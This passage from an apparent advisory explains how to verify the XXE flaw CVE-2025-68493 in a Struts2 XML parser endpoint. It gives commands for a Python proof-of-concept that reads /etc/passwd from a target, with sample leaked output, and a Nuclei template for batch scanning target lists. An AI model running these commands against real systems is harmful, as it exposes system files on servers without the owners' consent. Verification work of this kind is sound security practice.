## 8. Vulnerability Verification and Exploitation
To verify and exploit the CVE-2025-68493 vulnerability, you can use the provided Python PoC script and Nuclei YAML template.
### 8.1 How to Use the Python PoC Script
**Script Name**: `cve_2025_68493_poc.py`
**Function**: This script is used to test a single target. It attempts to read a specified file (default: `/etc/passwd`).
**Requirements**:
* Python 3 environment
* `requests` library (`pip install requests`)
**Command-Line Parameters**:
* `-u`, `--url`: Base URL of the target application (e.g., `http://127.0.0.1:8080`)
* `-f`, `--file`: Path to the file to be tested (default: `/etc/passwd`)
**Example**:
```bash
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
```
**Expected Output**:
If the target has a vulnerability and the file is successfully read, the following output will be displayed:
```
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: ]> &xxe;
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... ----------------------------------------
```
### 8.2 How to Use the Nuclei YAML Template
**Template Name**: `cve-2025-68493.yaml`
**Function**: This template uses the Nuclei tool to scan multiple targets simultaneously, detecting the CVE-2025-68493 vulnerability.
**Requirements**:
* Nuclei tool installed (recommended version 3.x or higher)
**Command-Line Parameters**:
* `-t`: Specify the path to the Nuclei template file
* `-u`: Specify the URL of a single target
* `-l`: Specify a file containing multiple target URLs
**Example**:
**Scanning a Single Target**:
```bash
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
```
**Batch Scanning**:
Suppose you have a file called `targets.txt` containing a target URL on each line:
```
http://target1.com:8080
http://target2.com:8080
```
To perform a batch scan, execute the following command:
```bash
nuclei -t cve-2025-68493.yaml -l targets.txt
```
